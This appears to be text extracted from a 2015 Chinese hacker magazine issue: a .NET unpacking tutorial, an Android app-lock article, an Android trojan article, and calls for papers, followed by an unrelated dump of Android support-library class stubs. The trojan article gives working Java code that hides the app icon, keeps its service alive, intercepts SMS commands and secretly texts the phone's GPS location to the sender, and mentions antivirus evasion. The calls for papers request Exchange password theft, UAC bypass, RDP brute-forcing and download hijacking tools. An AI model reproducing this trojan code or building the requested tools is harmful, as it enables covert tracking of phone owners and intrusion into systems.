道.Net 的统一编译成 MSIL 特性简直是为逆向而生，在 Visual Studio 中也专门提供了名为

dotfuscator的混淆工具。保护的方法不多就两种，但具体的实现仍然百家争鸣。从本篇开

始我们将作一个系列来逐一研究。不过要说明的是，两种保护技术并不相斥，很多保护方案

都是融合了两种保护思路，以求互为犄角。 

这一篇首先看看整体保护方案。我们知道.Net 程序虽然需要首先安装.Net FrameWork

才能运行，但它也是 exe 结尾，实际上也同样采用和普通 exe 文件相同的 PE 文件结构，当

然，会有一些拓展，后面介绍手工脱壳方法的时候再具体介绍。这里只需要知道，.Net 程

序也是 PE 结构，也包含各种头各种节，也有 OEP 和 IAT，传统面向 PE 结构的保护壳，保护

的也是这些东西，理论上套上就该能用了，也就是在.Net 的 PE 结构上套一层保护壳，将内

部结构加密隐藏就保护起来了，在运行的时候再解密释放出来。不过.Net 毕竟有一些新的

机制，因此还需要进行一些兼容性的调整，不过大致过程和普通保护壳是一样的。 

口说无凭，首先看一款老牌的 .Net 加壳工具 .Net Reactor（请注意和逆向工

具.NET Reflector 区分，两个是不同单词），这是款最早出现的专门针对.Net 的保护壳之

一，现在还在更新。早期的.Net Reactor 主要依靠整体保护的方案来进行保护，可以以此

对比观察加壳前后的变化。 
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先编译一个.Net 程序， 观察其内部结构如图 1所示。 

 

图 1 

这是张很经典的.Net 程序文件结构图，可以注意到两点：1.如上所说，它拥有传统 PE

结构的全部信息，也就是完整继承了传统的 PE结构；2.它拥有.Net 特有的数据结构，可以

看到有一项名为.NET Diretory 的数据项，这是.Net 程序的一大特征，下面还有几个 Meta

开头的数据结构，以及一些 Table，这些称为元数据，在后面的文章将详细介绍。.NET 

Diretory 和元数据是查看某个 EXE 文件是否为有效.Net 程序的重要判断依据。同时也是判

断一个.Net 程序是否启用整体保护方案的重要依据。请记住这句话。 

《论.Net 熟肉的正确打开方式》介绍了.Net 逆向神器.NET Reflector，现在就看看保

护后的效果。用.NET Reflector 打开被保护的程序，提示：is not a .NET module，也就

是.NET Reflector 认为它不是一个有效的.Net 程序。再来看看.Net Reactor 保护后的文

件结构如图 2 所示。 

 

图 2 
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现在变成了传统的 PE 结构，所有.Net 程序特有的信息都被加密保护起来了。同时也由

于.Net 相关的文件结构均已不存在，被保护的程序不再是一个有效的.Net 程序，也就不再

能够使用.NET Reflector 逆向了。因此起到了防止逆向的效果。 

到这里为止，对.Net 程序的整体保护和传统对 PE 文件的加壳保护并没有很大区别，同

样是对敏感的数据结构进行加密，保护后原文件相关的二进制信息是无法直接查看的。是不

是进行了整体保护，就不再能够逆向.Net 程序了呢？当然不是，为了对抗传统的加壳技术，

以及发展出多种脱壳工具和技术，.Net 的整体保护既然也类似于加壳，当然也就会有对应

的脱壳工具和技术。我们知道，传统的加壳软件，会在运行时还原或部分还原数据结构（部

分信息可能仍存于加密状态以防止逆向，譬如 IAT 等），以保证程序同义执行，也即保持功

能的一致性，能像原来那样运行。.Net 的整体保护也一样，会在运行时还原原来的.Net 程

序。如果能有一款工具抓取此时的内存数据，不就能 DUMP得原来的.Net 程序了吗？真的就

有这么一款专门针对.Net Dump 脱壳的工具，而且非常自动化，能完成从 DUMP 到 REBUILD

一条龙工作，更重要的是，操作非常简单。这款有点半仙味道的工具叫做 NETUnpack，如图

3 所示。 

 

图 3 

用法非常简单。我们以脱.Net Reactor 主程序为例子进行演示。虽然我们已经知道.Net 

Reactor 采用了整体保护的方案，但我们还是尝试.NET Reflector 打开，OK，提示错误，

如图 4 所示。 
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图 4 

接下来运行.Net Reactor，然后运行 NETUnpack。NETUnpack 的界面一看就知道是进行

列表，右边有两个按钮，从上到下分别是 Unpack，也就是脱壳，和 Reflesh，也就是刷新功

能。在列表中找到.Net Reactor 的进程（如果列表里没有，点下面也就是刷新按钮），然后

点脱壳。这时会弹出一个保存框选择保存路径，这里推荐保存到一个文件夹当中，因为 Dump

下来的通常不止一个文件，操作完后结果如图 5 所示。 

 

图 5 

这次一共 Dump 了 8 个 PE 文件，其中第 5 个已经显露出图标.Net Reactor 的图标，我

们很容易就猜到这才是想要的主程序脱壳文件。把它放回原程序目录，OK 正常运行，说明

它确实是主程序脱壳后的文件里。把它拖进.NET Reflector，现在一切正常。.Net Reactor

的主程序都可以用这种方法脱壳，受它保护的.Net 程序自然不在话下。NETUnpack 是一款通

用性很好的采用内存 Dump 技术的脱壳工具，遇到整体保护的.Net 程序，不妨用它来试试。 

不过，这里我要提出一个看法，运行正常离逆向完成其实还有一点距离。原因？请看图

6。 
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图 6 

虽然可以打开了，但各种名称都变成了“乱码”。可能已经有同学猜到，这就是所谓的

混淆技术中的一种，是名称混淆。名称是无关乎运行的，但毕竟逆向分析人员是人，读逆向

代码的也是人，软件工程专门就讲了代码可读的重要性，其中命名规范肯定是浓墨重彩的一

章。后面我们将会继续研究如何对抗采用混淆技术保护的.Net 程序。 

 

（完） 
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打造实用的 Android 程序锁 

          文/图 马智超（DesertEagle）欧阳潇琴 

手机程序锁是安卓上一款加密应用程序的安全类工具，当你打开某个应用程序的时候，

如果已经对其加锁，则会弹出密码框或者图形锁，输入正确后才可以进入，其可以对所有的

APK 程序进行加密，包括打开图片处理软件，音乐软件，短信，微信等等。 

那么现有的程序锁实用吗？答案是确定的，经本人测试不太实用。存在以下几个问题： 

1） 不够方便的解锁处理； 

2） 密码存储的加密保护不够好； 

3）整个程序锁进程可以被结束掉，保护如同虚设。 

    所以，让我们来打造一个实用的程序锁。 

 

原理分析 

程序锁的应用是一个服务定时监视顶层 Activity，如果 Activity 对应的包名是之前上锁

的应用程序的，则弹出一个页面要求输入解锁密码，这里我们改成图形解锁，通过判断解锁

密码是否与之前设定的相符，来决定是否正常使用这些软件。 

而密码存储可以进行加密处理，所以不做过多分析，进程保护的方法我在 14 年一期里

介绍到过，所以这里也不做讲解了，代码嵌套进去即可。而为了更加方便用户的使用，采用

九宫格方式解锁，其原理将会在下面的编程分析里详细介绍。 

 

编程分析 

1.九宫格的设计与绘制 

图案解锁原理：先绘制九个点，其实就是找个九个位置，给九个点绘制图案；考虑图案

正常下的状态，用户点击的时候的状态；要考虑连线错误时候的状态，图案的限制；在设置

密码的时候，画图连线保存成密码。 

 

 private void drawLine(Point start, Point end, Canvas canvas, Paint paint) {   

        double d = MathUtil.distance(start.x, start.y, end.x, end.y);   

        float rx = (float) ((end.x-start.x) * dotRadius / 4 / d);   

        float ry = (float) ((end.y-start.y) * dotRadius / 4 / d);   

        canvas.drawLine(start.x+rx, start.y+ry, end.x-rx, end.y-ry, paint);   

    }   

       

    private void drawArrow(Canvas canvas, Paint paint, Point start, Point end, float arrowHeight, 

int angle) {   

        double d = MathUtil.distance(start.x, start.y, end.x, end.y);   

        float sin_B = (float) ((end.x - start.x) / d);   

        float cos_B = (float) ((end.y - start.y) / d);   

        float tan_A = (float) Math.tan(Math.toRadians(angle));   

        float h = (float) (d - arrowHeight - dotRadius * 1.1);   

        float l = arrowHeight * tan_A;   

        float a = l * sin_B;   
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        float b = l * cos_B;   

        float x0 = h * sin_B;   

        float y0 = h * cos_B;   

        float x1 = start.x + (h + arrowHeight) * sin_B;   

        float y1 = start.y + (h + arrowHeight) * cos_B;   

        float x2 = start.x + x0 - b;   

        float y2 = start.y + y0 + a;   

        float x3 = start.x + x0 + b;   

        float y3 = start.y + y0 - a;   

        Path path = new Path();   

        path.moveTo(x1, y1);   

        path.lineTo(x2, y2);   

        path.lineTo(x3, y3);   

        path.close();   

        canvas.drawPath(path, paint);   

    }   

    private void initCache() {   

        width = this.getWidth();   

        height = this.getHeight();   

        float x = 0;   

        float y = 0;   

   

        if (width > height) {   

            x = (width - height) / 2;   

            width = height;   

        } else {   

            y = (height - width) / 2;   

            height = width;   

        }   

           

        int leftPadding = 15;   

        float dotPadding = width / 3 - leftPadding;   

        float middleX = width / 2;   

        float middleY = height / 2;   

   

        mPoints[0][0] = new Point(x + middleX - dotPadding, y + middleY - dotPadding, 1);   

        mPoints[0][1] = new Point(x + middleX, y + middleY - dotPadding, 2);   

        mPoints[0][2] = new Point(x + middleX + dotPadding, y + middleY - dotPadding, 3);   

        mPoints[1][0] = new Point(x + middleX - dotPadding, y + middleY, 4);   

        mPoints[1][1] = new Point(x + middleX, y + middleY, 5);   

        mPoints[1][2] = new Point(x + middleX + dotPadding, y + middleY, 6);   

        mPoints[2][0] = new Point(x + middleX - dotPadding, y + middleY + dotPadding, 7);   

        mPoints[2][1] = new Point(x + middleX, y + middleY + dotPadding, 8);   

        mPoints[2][2] = new Point(x + middleX + dotPadding, y + middleY + dotPadding, 9);   
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        Log.d("jerome", "canvas width:"+width);   

        dotRadius = width / 10;   

        isCache = true;   

           

        initPaints();   

    }   

 

2.程序锁后台服务实现 

启动定时器，新建任务，先获取当前顶层的应用程序包名，读取数据库，判断是否加锁

的包名，是的话则要跳转到我们写好的解锁画面。如果是第一次打开，则跳出设置解锁的图

案，这样每个应用程序解锁图案都不一样，可以提高安全性。如果不是枷锁的包名，则不做

任何操作，允许进入使用。核心代码如下： 

 

    private void startTimer() { 

        if (timer == null) { 

         new Timer().schedule(new TimerTask(){ 

    @Override 

    public void run() { 

     Log.i("patternlock", "timerisstarted"); 

     ComponentName cn = am.getRunningTasks(1).get(0).topActivity; 

        String packageName = cn.getPackageName(); 

        String className=cn.getClassName(); 

        Log.i("patternlock", packageName)       

if(!lastpack.equals(packageName)&&!packageName.equals("com.example.patternlock")){ 

        Check.getIntence().saveIsFinished(context, lastpack, false); 

        Check.getIntence().saveOpened(context, lastpack+"locked", false); 

            } 

             

            if(dbs.query(packageName)){ 

                if 

(Check.getIntence().getIsFinished(context,packageName)||Check.getIntence().getLockOpened(con

text, packageName+"locked")) { 

  //Toast.makeText(context, "foundbutlocked", 3000).show(); 

  Log.i("patternlock", "checked"); 

  return; 

  }else{ 

  //Toast.makeText(context, "foundandshow", 3000).show(); 

  Check.getIntence().saveOpened(context, packageName+"locked", true); 

  Intent intent = new Intent(); 

  intent.setClassName("com.example.patternlock",                      

"com.example.patternlock.WelActivity"); 

   intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 

   Bundle bundle=new Bundle(); 
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    bundle.putString("packName", packageName); 

    intent.putExtras(bundle); 

    startActivity(intent); 

    } 

    lastpack=packageName; 

   }else{ 

   //Toast.makeText(context, "didnotfind", 3000).show(); 

   return; 

   } 

   // Looper.loop(); 

  } 

}, 1000, 1000);} } 

 

编译以上代码，运行程序打开界面，设置枷锁应用如图 1 所示。 

 

图 1 

第二次打开加锁应用，会弹出设置好的密码解锁，如图 2 所示。 
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图 2 

经过测试，本程序可以实现程序锁的功能，九宫格解锁，进程保护代码我在 2014 年一

期讲过，直接嵌入进去就可以了，可以保证不会在后台被结束掉，但是密码没有加密存储，

可定义一个算法，用一些常用的算法接口，这样一个实用的程序锁就完成了。 

                                                                                 

Android 零星木马技术浅析 

                            文/图 马智超（DesertEagle） 

今天写了一篇 Android 作业，在写的过程中无意间涉及到了木马技术，也想写篇文章介

绍所用到的技术。这个程序安装时果然会被 360 识别为威胁软件，360 果真太敏感了。我们

猜到杀毒软件会通过特征码、包名、权限、classes.dex 等文件来判别是否为木马和威胁软件，

所以想对其免杀。我们可以通过在 classes.dex 里加入一些相关代码和一大堆无用的代码，来

混淆杀毒软件，这样在一定程度上就可以达到免杀了。 

今天因为一件事被很重要的人误解，我心里也是怪怪的，于是就简单介绍些木马相关的

技术。先介绍两个可以应用于木马的技术：图标隐藏、短信截获、进程保护、GPS 定位。

结合短信截获和进程保护、GPS 定位功能，我们可以实现这样一个小的程序：一个手机上

先安装好我们写好的恶意软件，另一个手机发送短信指令到这个手机，就会收到这个手机发

来的 GPS 定位信息。那么我们现在开始写代码。 

在用到组件时，有时候我们可能暂时性的不使用组件，但又不想把组件 kill 掉，这时我

们需要调用 packageManager 对象的 setComponentEnabledSetting 方法，然后我们需要隐藏应

用图标，PackageManager 主要是管理应用程序包，通过它就可以获取应用程序信息，隐藏

图标设置下就好： 
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PackageManager pm=this.getPackageManager(); 

pm.setComponentEnabledSetting(this.getComponentName(),PackageManager.COMPONEN

T_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 

 

接着来启动后台服务吧，将主界面 Activity 瞬间关掉： 

 

Intent intent=new Intent(this,SmSserver.class); 

this.startService(intent); 

this.finish(); 

 

我们需要 RemoteView 是用来描述一个垮进程显示的 view，在发现在手机休眠一段时间

后，后台运行的服务会被强行 kill 掉，网上说有可能是系统回收内存的一种机制，要想避免

这种情况需要通过 startForeground 让服务前台运行。因为前台服务是哪些被认为用户知道的

并且在内存低的时候不允许系统杀死的服务。 

 

Notification notification = new Notification( 

R.drawable.icon, "",System.currentTimeMillis()); 

   Intent notificationIntent = new Intent(); 

   notification.contentView=new RemoteViews(this.getPackageName(), 

     R.layout.activity_main); 

   PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, 

     notificationIntent, 0); 

   notification.contentIntent = pendingIntent; 

   startForeground(100, notification); 

 

接着在 SmSserver 里注册 receiver，Android 系统处理隐式 Intent 时, 会比较 Intent 和

IntentFilter 的 action 等属性，我们设置好 action，注册广播。 

 

IntentFilter localIntentFilter = new IntentFilter(); 

localIntentFilter.addAction(SmSserver.SMS_RECEIVED); 

    localIntentFilter.addAction(SmSserver.GSM_SMS_RECEIVED); 

localIntentFilter.setPriority(1000); 

localMessageReceiver = new receiver(); 

    this.registerReceiver(localMessageReceiver, 

localIntentFilter,"android.permission.BROADCAST_SMS", null); 

   localMessageReceiver2 = new receiver(); 

   this.registerReceiver(localMessageReceiver2, new 

IntentFilter(SmSserver.SendState)); 

 

下面是短信截获这一块，关于这一块的代码网上应该有详细说明吧，而我们这里要截获

的是特定命令的短信，那就看一下短信的内容，进行过滤。然后如果是特定命令的短信，就

进行 GPS 定位，然后把坐标什么的发过去，核心代码如下。 
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 @Override 

 public void onReceive(Context context, Intent intent) { 

  ct=context; 

     String bro=intent.getAction(); 

if(bro.equals("android.provider.Telephony.SMS_RECEIVED")||intent.getAction().equals(SmSserv

er.GSM_SMS_RECEIVED)) { 

   Bundle bundle=intent.getExtras();//收到的内容非空 

   if (bundle!=null) { 

    getLt(); 

    Object[] objects=(Object[])bundle.get("pdus");//pdus 存放的是短信内容 

    SmsMessage[] messages=new SmsMessage[objects.length]; 

    for (int i = 0; i < messages.length; i++) { 

     byte[] pdu=(byte[])objects[i];//一个字符一个字符读取短信 

     messages[i]=SmsMessage.createFromPdu(pdu); 

    } 

    for (final SmsMessage msg:messages) { 

     /*获取短信内容*/ 

     String content=msg.getMessageBody(); 

     Date date=new Date(msg.getTimestampMillis()); 

     SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd 

HH:mm:ss"); 

     String sendTime=sdf.format(date); 

     //判断是否符合“xx.......”格式的短信 

     String head=null; 

     head=content.substring(0,2); 

     if (head.equals("xx")) {  

         String sender=msg.getOriginatingAddress(); 

         sendSMS(sender,gpsstr);}}}} } 

  

我们这里自定义了两个函数，功能如下： 

/*把经纬度发送到对方手机上*/ 

public void sendSMS(String phoneNumber, String message) { 

 SmsManager sms = SmsManager.getDefault(); 

     Intent sentIntent = new Intent("SENT_SMS_ACTION"); 

 PendingIntent sentPI = PendingIntent.getBroadcast(ct, 0, sentIntent,0); 

     Intent deliverIntent = new Intent("DELIVERED_SMS_ACTION"); 

 PendingIntent deliverPI = PendingIntent.getBroadcast(ct, 0,deliverIntent, 0); 

 sms.sendTextMessage(phoneNumber, null, "the location:" + message, sentPI,deliverPI); 

} 

 

还有一个获取经纬度函数的代码不贴了，以上就是短信截获、发送短信的核心代码了。

如果想过滤短信，屏蔽指定号码发来的信息，可以做如下处理。 

 

String sender=msg.getOriginatingAddress(); 
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Android远程监控技术 

 

 String number = trimSmsNumber( "+86" , sender); //把国家代码去除掉 

 String s=number.replace(" ", "");  

 if("此处填入要屏蔽的号码".equals(s)){ 

 sendSMS(sender,gpsstr); 

 abortBroadcast();  

 

下面简写进程保护的代码，实际上就是让 receiver 运行着，我们可以静态注册另一个

receiver 类，在其中加入如下代码，如果发现 service 被关掉了，就马上开启它。 

 

public static boolean isServiceRun(Context mContext, String className) { 

  boolean isRun = false; 

  ActivityManager activityManager = (ActivityManager) mContext 

    .getSystemService(Context.ACTIVITY_SERVICE); 

  List<ActivityManager.RunningServiceInfo> serviceList = activityManager 

    .getRunningServices(40); 

  int size = serviceList.size(); 

  for (int i = 0; i < size; i++) { 

   if (serviceList.get(i).service.getClassName().equals(className) == true) { 

    isRun = true; 

    break; 

   } 

  } 

  return isRun; 

 } 

 boolean isRun = isServiceRun(context, "example.android_task_b.receiver"); 

  Log.i("phone", "server_"+isRun); 

  if(!isRun){ 

   Intent intent=new Intent(context,SmSserver.class); 

   intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 

   context.startService(intent); 

  } 

 

 编译以上代码并运行，可看到结果如图 1 所示，就是收到的坐标信息了。 

 

图 1 
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2015 年第 4 期杂志特约选题征稿 
  

黑客防线于 2013 年推出新的约稿机制，每期均会推出编辑部特选的选题，涵盖信息安

全领域的各个方面。对这些选题有兴趣的读者与作者，可联系投稿信箱：675122680@qq.com、

hadefence@gmail.com，或者 QQ：675122680，确定有意的选题。按照要求如期完成稿件者，

稿酬按照最高标准发放！特别优秀的稿酬另议。2015 年第 4 期部分选题如下，完整的选题

内容请见每月发送的约稿邮件。 

 

1.Exchange 临时文件还原解密 

 对于 Exchange 邮件服务器，最新邮件最初会以临时文件形式存储于服务器上，若要实

现对最新邮件的实时获取，可针对加密的临时文件进行还原，从而获取邮件。 

 编写程序，实现对 Exchange 临时文件的还原。 

 

2.Exchange 账户密码获取 

 对 Exchange 邮件系统所有用户及对应密码的抓取、还原；Exchang 邮箱系统无法直接进

行数据操作，所以需要对其数据库进行提取和还原。 

 编写程序，实现对 Exchange 邮件系统的监控，获取邮件系统所有内建账户与密码。 

 

3.绕过 Windows UAC 的权限限制 

 自本期始，黑客防线杂志长期征集有关绕过 Windows UAC 权限限制的文章（已知方法

除外）。 

 1）Windows UAC 高权限下，绕过 UAC 提示进入系统的方法； 

 2）Windows UAC 低权限下，进入系统后提高账户权限的方法。 

 

4.虚拟机穿透 

 主机安装有虚拟机，现已远程控制虚拟机，寻求如何利用虚拟机的弱点，穿透虚拟机，

进而控制本机的方法。 

 

5.同步下载邮件 

 假设本机当前系统已掌控，在用户登录 Web 邮箱时，能够自动后台同步下载邮件并保

存，包括收件箱、发件箱、已发送邮件、联系人等信息，优先实现 gmail、yahoo 信箱。 

 

6.Windows7 屏幕保护密码获取 

 非重启系统状态下，本机（非远程受控机）屏幕保护已启动，本地获取 Windows7 屏幕

保护密码的方法。 

 

7.暴力破解 3389 远程桌面密码 

要求： 

 1）针对 Windows 3389 远程桌面实现暴力破解密码； 

 2）读取指定的用户名和密码字典文件； 

 3）采用多线程； 

 4）所有函数都必须判断错误值； 

 5）使用 VC++2008 编译工具实现，控制台程序； 
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 6）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 7）支持 Windows XP/2003/7/2008。 

 

8.WEB 服务器批量扫描破解 

 1）针对目标 IP 参数要求 

  10.10.0.0/16 

  10.10.3.0/24 

  10.10.1.0-10.255.255.255 

 2）针对目标 Web 服务器扫描要求 

 可以识别目标 Web 服务器上运行的 Web 服务器程序，比如 APACHE 或者 IIS 等，具体参

考如下： 

  Tomcat Weblogic Jboss 

  Apache J0nAS WebSphere 

  Lotus Server IIS(Webdav) Axis2 

  Coldfusion Monkey HTTPD Nginx 

 3）针对目标 Web 服务器后台扫描 

  针对目标进行后台地址搜索。 

 4）针对目标 Web 后台密码破解 

  搜索到 Web 登录后台以后，尝试弱口令破解，可以指定字典。 

 

9.编写端口扫描器 

要求： 

 1）扫描出目标机器开放的端口，支持 TCP Connect、SYN、UDP 扫描方式； 

 2）扫描方式采用多线程，并能设置线程数； 

 3）将功能编写成 DLL，导出功能函数； 

 4）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 5）尽量多做出错异常处理，以防程序意外崩溃； 

 6）使用 VC++2008 编译工具编写； 

 7）支持系统 Windows XP/2003/2008/7。 

 

10.Android WIFI Tether 数据转储劫持 

说明： 

 WIFI Tether（开源项目）可以在 ROOT 过的 Android 设备上共享移动网络（也就是我们

常说的 Wi-Fi 热点），请参照 WIFI Tether 实现一个程序，对流经本机的所有网络数据进行分

析存储。 

 

要求： 

 1）开启 WIFI 热点后，对流经本机的所有网络数据进行存储； 

 2）不同的网络协议存储为不同的文件，比如 HTTP 协议存储为 HTTP.DAT； 

 3）针对 HTTP 下载进行劫持，比如用户下载 www.xx.com/abc.zip，软件能拦截此地址并

替换 abc.zip 文件。 

 

11.突破 Windows7 UAC 

说明： 
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 编写一个程序，绕过 Windows7 UAC 提示，启动另外一个程序，并使这个程序获取到管

理员权限。 

 

要求： 

 1）Windows UAC 安全设置为最高级别； 

 2）系统补丁打到最新； 

 3）支持 32 位和 64 位系统。 
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2015 年征稿启示 

 

   《黑客防线》作为一本技术月刊，已经 15 年了。这十多年以来基本上形成了一个网络安

全技术坎坷发展的主线，陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们

实现了诸多技术突破。再次感谢所有的读者和作者，希望这份技术杂志可以永远陪你一起走

下去。 

投稿栏目： 

首发漏洞  

    要求原创必须首发，杜绝一切二手资料。主要内容集中在各种 0Day 公布、讨论，欢迎

第一手溢出类文章，特别欢迎主流操作系统和网络设备的底层 0Day，稿费从优，可以洽谈

深度合作。有深度合作意向者，直接联系总编辑 binsun20000@hotmail.com。 

Android 技术研究 

    黑防重点栏目，对 android 系统的攻击、破解、控制等技术的研究。研究方向包括 android

源代码解析、android 虚拟机，重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的

技术和成果。 

本月焦点  

    针对时下的热点网络安全技术问题展开讨论，或发表自己的技术观点、研究成果，或针

对某一技术事件做分析、评测。  

漏洞攻防  

    利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透，反入侵，包括比较流行的第

三方软件和网络设备 0Day 的触发机理，对于国际国内发布的 poc 进行分析研究，编写并提

供优化的 exploit 的思路和过程；同时可针对最新爆发的漏洞进行底层触发、shellcode 分析

以及对各种平台的安全机制的研究。  

脚本攻防  

    利用脚本系统漏洞进行的注入、提权、渗透；国内外使用率高的脚本系统的 0Day 以及

相关防护代码。重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议；重点欢

迎 PHP 、JSP 以及 html 边界注入的研究和代码实现。  

工具与免杀 

    巧妙的免杀技术讨论；针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。特

别欢迎突破安全防护软件主动防御的技术讨论，以及针对主流杀毒软件文件监控和扫描技术

的新型思路对抗,并且欢迎在源代码基础上免杀和专杀的技术论证! 最新工具，包括安全工

具和黑客工具的新技术分析，以及新的使用技巧的实力讲解。  

渗透与提权  

    黑防重点栏目。欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提

权技术讨论，特别欢迎内网渗透、摆渡、提权的技术突破。一切独特的渗透、提权实际例子

均在此栏目发表，杜绝任何无亮点技术文章！  

溢出研究  

    对各种系统包括应用软件漏洞的详细分析，以及底层触发、shellcode 编写、漏洞模式等。  

外文精粹  

    选取国外优秀的网络安全技术文章，进行翻译、讨论。  

 

网络安全顾问  
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 我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立；ARP 系统的整体防

护；较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。  

搜索引擎优化  

    主要针对特定关键词在各搜索引擎的综合排名、针对主流搜索引擎的多关键词排名的优

化技术。  

密界寻踪  

    关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、

调试及逆向分析技术的深入研究。  

编程解析  

    各种安全软件和黑客软件的编程技术探讨；底层驱动、网络协议、进程的加载与控制技

术探讨和 virus 高级应用技术编写；以及漏洞利用的关键代码解析和测试。重点欢迎

C/C++/ASM 自主开发独特工具的开源讨论。 

投稿格式要求：  

    1）技术分析来稿一律使用 Word 编排，将图片插入文章中适当的位置，并明确标注“图

1”、“图 2”；  

    2）在稿件末尾请注明您的账户名、银行账号、以及开户地，包括你的真实姓名、准确

的邮寄地址和邮编、、QQ 或者 MSN、邮箱、常用的笔名等，方便我们发放稿费。  

    3）投稿方式和和周期：  

 采用 E-Mail 方式投稿，投稿 mail：hadefence@gmail.com、QQ：675122680。投稿后，

稿件录用情况将于 1～3 个工作日内回复，请作者留意查看。每月 10 日前投稿将有机会发表

在下月杂志上，10 日后将放到下下月杂志，请作者朋友注意，确认在下一期也没使用者，

可以另投他处。限于人力，未采用的恕不退稿 ，请自留底稿。  

 重点提示：严禁一稿两投。无论什么原因，如果出现重稿——与别的杂志重复——与别

的网站重复，将会扣发稿费，从此不再录用该作者稿件。  

    4）稿费发放周期：  

 稿费当月发放（最迟不超过 2 月），稿费从优。欢迎更多的专业技术人员加入到这个行

列。 

    5）根据稿件质量，分为一等、二等、三等稿件，稿费标准如下： 

 一等稿件 900 元/篇 

 二等稿件 600 元/篇 

 三等稿件 300 元/篇 

    6）稿费发放办法：  

 银行卡发放，支持境内各大银行借记卡，不支持信用卡。 

    7）投稿信箱及编辑联系 

 投稿信箱：675122680@qq.com、hadefence@gmail.com 

 编辑 QQ：675122680 
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android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.class


package android.support.v4.accessibilityservice;
public synchronized class AccessibilityServiceInfoCompat {
    private static final AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl IMPL;
    public static final int FEEDBACK_ALL_MASK = -1;
    private void AccessibilityServiceInfoCompat();
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String feedbackTypeToString(int);
    public static String flagToString(int);
    static void <clinit>();
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl extends AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl.class


package android.support.v4.accessibilityservice;
abstract interface AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    public abstract String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompatIcs {
    void AccessibilityServiceInfoCompatIcs();
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl implements AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/widget/SearchViewCompatHoneycomb$2.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$2 implements android.widget.SearchView$OnCloseListener {
    void SearchViewCompatHoneycomb$2(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public boolean onClose();
}










android/support/v4/widget/SimpleCursorAdapter$ViewBinder.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$ViewBinder {
    public abstract boolean setViewValue(android.view.View, android.database.Cursor, int);
}










android/support/v4/widget/CursorAdapter$MyDataSetObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$MyDataSetObserver extends android.database.DataSetObserver {
    private void CursorAdapter$MyDataSetObserver(CursorAdapter);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/widget/SearchViewCompat$OnCloseListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnCloseListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnCloseListenerCompat();
